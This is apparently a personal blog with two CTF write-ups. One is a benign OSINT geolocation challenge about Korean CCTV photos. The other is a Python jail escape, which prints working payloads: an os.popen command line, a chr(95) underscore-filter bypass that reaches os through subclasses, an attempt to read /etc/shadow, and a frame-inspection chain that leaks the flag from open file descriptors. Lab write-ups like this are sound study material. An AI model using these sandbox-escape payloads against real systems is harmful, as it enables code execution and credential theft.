Well, I thought I wasn't interested in CTF anymore because there will almost ALWAYS be people using agents that are better than you. But let's try again; they say that current CTFs ban the use of agents; heck, some of them even ban thinking models too!

I'm not very good at CTFs, nor cyber security. Always have been, and always will be. But what I like in cyber competition is the puzzle. The feeling of solving puzzles, especially OSINT will always feel pretty good!

Are these enough words for a blog post opening? Let's just get into it.

The Challenge

You are given 5 images from different photos. All of the images are random photos in Korea (as you've read in the title), and one service that you can use. This is one of those QnA OSINT challenges, huh. Fun, I bet.

Question 1

Let's start at the first question:

===============================================
  Korean Trip - Retrace the Traveler's Journey
===============================================
Someone documented their Korean trip in five photos. Study the handout,
then answer each question to prove you retraced their steps.

Notes:
  - Names use lowercase words joined by underscores (e.g. some_place_name).
  - Capitalization and spaces vs underscores do not matter.
  - One wrong answer ends the session -- just reconnect to try again.


[1/7] Photo 1 - First Location
Our traveler is a massive fan of K-dramas and finally takes that
vacation, starting here. They want to reach the SECOND location on
the 16th of October at 2:56 PM. What bus number should they take at
the nearby station?  (digits only, e.g. 42)
>

Okay, so I'll need the first location. Ngl I couldn't read korean, so let's ask Gemini:

Okay now I know 2 things: * It is facing Korea University (From the forward arrow) * It is behind Anam 5-way Intersection. (From the back arrow)

After looking around those routes, I found the place!

Okay, now we need to find the bus route. Honestly, I have no idea how Gemini found this place, but it just said the route. I have no idea how, why, but it is correct

130 it is

Second Question

[2/7] Photo 2 - Second Location
What is the name of the place at the second location?
(format: place_name)
>

After asking gemini, it says that it is around Sindap Station

I found the possible route; now I gotta look for the exact spot.

After looking at Maps, I found it. It's an older photo, but the road layout is still there.

But what the hell does the question mean? place_name? The road name? What does it mean?

After asking for clarification from the problem setter, a thing came to mind. All of these photos are from CCTVs; maybe the CCTVs are public!

I found this Seoul government website. It does have public CCTV footage. After looking around for a bit, I found it!

After translating that Korean text, it's taeyang_apartment!

Question 3

[3/7] Photo 2 - Second Location
After a bit of rest, the traveler goes sightseeing at 4 PM. They take
the number 721 bus for 5 stops, then hop into which station to
continue to the third destination?  (format: station_name)
>

This question is pretty easy because it's simply one Gemini prompt away

dongdaemun_station

Question 4

[4/7] Photo 3 - Third Location
What are the coordinates of the third destination, in the exact photo
taken?  Only the first two decimals need to be correct.
(format: lat,long e.g. 12.34,-98.76)
>

The third location is also very easy to find, doesn't really need to use AI at all, it's all over Google. Although I was a bit confused about why the coordinate doesn't work, the problem setter quickly fixed it.

37.557,126.993

Question 5

[5/7] Photo 3 - Third Location
After walking around a bit, they get thirsty, so they stop at a cafe
right outside the third destination. What is the name of the cafe?
(format: the_cafe_name)
>

Just right outside, there's a cafe, weird name but fine

twosome_place

Question 6

[6/7] Photo 4 - Fourth Location
The following day, riding the KTX train, the traveler arrives at the
fourth destination. What is the name of this place?
(format: place_name)
>

Gemini just says it

jeonju_station

Question 7

[7/7] Photo 5 - Fifth Location
At the fifth destination, after wandering the city's most famous
tourist spot, they walk a while and turn back to look at the view --
but that is not the final stop. The final destination is still ahead.
What is it?  (format: place_name)
>

I found this Instagram post when reverse searching the image, so I know that this is, in fact, still in Jeonju.

Apparently this is a K-Drama shooting place, but idk at the time so I'm kinda blind

Rainbolt mode

Because the sun is in the photos, I know that this photo is facing east/west. Let's find the exact river there

So because it's facing east or west, I deduced the entire area into this stream:

Looking at the drone view added to the Google Street View, I found the place

After trying some names, the one I found is hanbyeokgul.

Afterthought

This was a fun challenge, and we got first blood too (thanks, sumbul)! I really liked this kind of OSINT challenge

This website does not use cookie because I don't care about your data.

Challenge Description: Send Python and it runs. Something reads how you wrote it first. Points: 495

Black Box? Aww man :(

So, we're given a CLI app. From the challenge description, I assume (from the description of the challenges) this was a Python app; just typing some text like 1 and 1+1, it just returns OK, not an output. Interesting...

The first thing I did was test for eval, print, and other normal stuff you do on this kind of challenge.

It results in a NameError, interesting, so most, or even all, built-in functions are probably disabled!

I assume this is some kind of command injection or a way to break out of eval, so I went straight to PayloadAllTheThings and checked out their SSTI Python template; it's not an SSTI challenge, but I bet it'll work here.

So I tried the universal one

__include__("os").popen("id").read()

Heh, I bet this challenge is that easy :p

It isn't.

Aww, this one sucks, but which character is being blocked, though?

So I tested and tested, and I finally found that the problem is in the “_” character! Nothing else! So I just need to bypass it, then read the flag, right?

So I came up with this:

>>> getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[84], "load"+chr(95)+"module")("os")
<module 'os' (built-in)>

Okay... After some time of work, I bet this'll immediately work, right?

B-but it works on my machine :(

Of course it doesn't; I know why, it's because of a version mismatch. I bet the Python used on the server isn't the same as the one on my machine

You know what they say, if it ain't broke, break it. I found this Write-Up from Hack.lu CTF 2023, in one of the steps there, the creator says that he can break the eval filter by using a Unicode bypass

So I just stole it and tried it myself

> 𝓹𝓻𝓲𝓷𝓽("𝓛𝔂𝓻𝓪")
Traceback (most recent call last):
  File "/opt/ouroboros/jail.py", line 153, in <module>
  File "/opt/ouroboros/jail.py", line 139, in serve
  File "/opt/ouroboros/jail.py", line 87, in check
  File "/usr/local/lib/python3.12/ast.py", line 52, in parse
ImportError: /usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x86_64-linux-gnu.so: cannot open shared object file: Operation not permitted

Welp, I guess I accidentally broke the challenge. But this led to new information: that the challenge is run on Python 3.12 (I'm using 3.9). Well that's why.

I assume that the problem setter used simple FROM python:3.12 on its Dockerfile, so I just did the same on my machine

☁  ~  docker run -it --rm python:3.12 python3
Python 3.12.14 (main, Aug 13 2026, 19:41:20) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[120], "load"+chr(95)+"module")("os")
<module 'os' (built-in)>

Okay, on my machine it was 84, but on 3.12 it's 120, so I tried doing this on the server, and it works!

Well, at least it's “OK”, not an error or rejected.

Breaking away from the jail

Well Ill stop using too many images from here; I'm too lazy to do it :p

I updated my payload to:

a = getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[120], "load"+chr(95)+"module")("builtins"); b=a.open("/etc/shadow").read();print(b)

It will try to open /etc/shadow, read it, and print it to the console (yes, I checked that print worked). But I got a PermissionError; I got a feeling that this user doesn't have read permission to any system files. So I thought, what if the flag isn't stored in a file, but in the host!

I checked the hack.lu reference again, and found out that you can access the host variables by using the sys._getframe method, so I tested it locally

>>> a = "test"
>>> eval("sys._getframe().f_back.f_locals")
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'sys': <module 'sys' (built-in)>, 'a': 'test'}
>>>

I modified it to check the host's variable, and list it

> a=getattr(getattr(getattr(getattr((),chr(95)*2+"class"+chr(95)*2),chr(95)*2+"base"+chr(95)*2),chr(95)*2+"subclasses"+chr(95)*2)()[120],"load"+chr(95)+"module")("builtins");s=getattr(a,chr(95)*2+"import"+chr(95)*2)("sys");f=getattr(getattr(s,chr(95)+"getframe")(),"f"+chr(95)+"back");l=getattr(f,"f"+chr(95)+"locals");a.print(getattr(l,"keys")())
dict_keys(['fd_a', 'fd_b', 'ns', 'line', 'code', 'tree'])


      ___         _  __
     / _ \       | |/ /
    | | | |      | ' /
    | |_| |      | . \
     \___/       |_|\_\


>

Okay, so there are fd_a and fd_b variables, so I modified the payload to check those variables

> a=getattr(getattr(getattr(getattr((),chr(95)*2+"class"+chr(95)*2),chr(95)*2+"base"+chr(95)*2),chr(95)*2+"subclasses"+chr(95)*2)()[120],"load"+chr(95)+"module")("builtins");s=getattr(a,chr(95)*2+"import"+chr(95)*2)("sys");f=getattr(getattr(s,chr(95)+"getframe")(),"f"+chr(95)+"back");l=getattr(f,"f"+chr(95)+"locals");o=getattr(a,chr(95)*2+"import"+chr(95)*2)("os");a.print(getattr(getattr(o,"pread")(getattr(l,"get")("fd"+chr(95)+"a"),4096,0)+getattr(o,"pread")(getattr(l,"get")("fd"+chr(95)+"b"),4096,0),"decode")())
GEMASTIK19{tw0_sk1ns_0n3_serp3nt_r34d_th3_pre0p3n3d_fd}
  ___         _  __
 / _ \       | |/ /
| | | |      | ' /
| |_| |      | . \
 \___/       |_|\_\



>

Well, uh, something definitely could be improved. I spent way too much time finding the correct array; well, at least I got it

This website does not use cookie because I don't care about your data.

This website does not use cookie because I don't care about your data.